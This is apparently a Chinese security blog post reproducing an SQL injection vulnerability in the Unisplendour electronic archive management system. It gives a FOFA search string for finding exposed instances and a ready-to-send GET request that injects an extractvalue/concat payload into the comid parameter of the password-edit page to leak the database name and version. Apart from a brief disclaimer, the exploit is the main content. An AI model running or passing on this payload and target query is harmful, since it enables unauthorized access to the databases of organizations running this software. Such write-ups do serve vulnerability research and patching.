紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)

文章目录

  • 紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响范围
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现

紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)

0x01 前言

本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!

0x02 漏洞描述

紫光软件系统有限公司(以下简称“紫光软件”)是中国领先的行业解决方案和IT服务提供商。 紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)_第1张图片

0x03 影响范围

紫光电子档案管理系统

0x04 漏洞环境

fofa:“紫光档案管理系统”
紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)_第2张图片

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC (GET)

GET /login/Login/editPass.html?comid=extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

3.复现

紫光电子档案管理系统存在SQL注入漏洞(漏洞复现)_第3张图片输入上面的数据包,得到回显(当前数据库名以及版本号)

你可能感兴趣的:(漏洞复现,系统安全,网络安全,web安全,安全)